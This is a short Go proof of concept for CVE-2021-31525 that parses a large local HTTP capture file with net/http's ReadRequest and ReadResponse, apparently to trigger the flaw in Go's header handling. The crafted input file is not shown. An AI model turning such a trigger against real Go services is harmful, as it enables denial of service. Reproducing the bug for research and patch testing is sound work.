CVE-2021-31525 Proof-of-concept

CVE-2021-31525.go

package main

import (
   "bufio"
   "bytes"
   // "fmt"
   "io"
   "io/ioutil"
   "log"
   "net/http"
   "os"
)

type connection struct {
   Request  *http.Request
   Response *http.Response
}

func readHTTPFromFile(r io.Reader) ([]connection, error) {
   buf := bufio.NewReader(r)
   stream := make([]connection, 0)

   for {
      req, err := http.ReadRequest(buf)
      if err == io.EOF {
         break
      }

      if err != nil {
         return stream, err
      }

      resp, err := http.ReadResponse(buf, req)
      if err != nil {
         return stream, err
      }

      b := new(bytes.Buffer)
      io.Copy(b, resp.Body)
      resp.Body.Close()
      resp.Body = ioutil.NopCloser(b)

      stream = append(stream, connection{Request: req, Response: resp})
   }

   return stream, nil
}

func main() {
   f, err := os.Open("/tmp/7MB.http")
   if err != nil {
      log.Fatal(err)
   }
   defer f.Close()

   _, err = readHTTPFromFile(f)
   if err != nil {
      log.Fatalln(err)
   }
}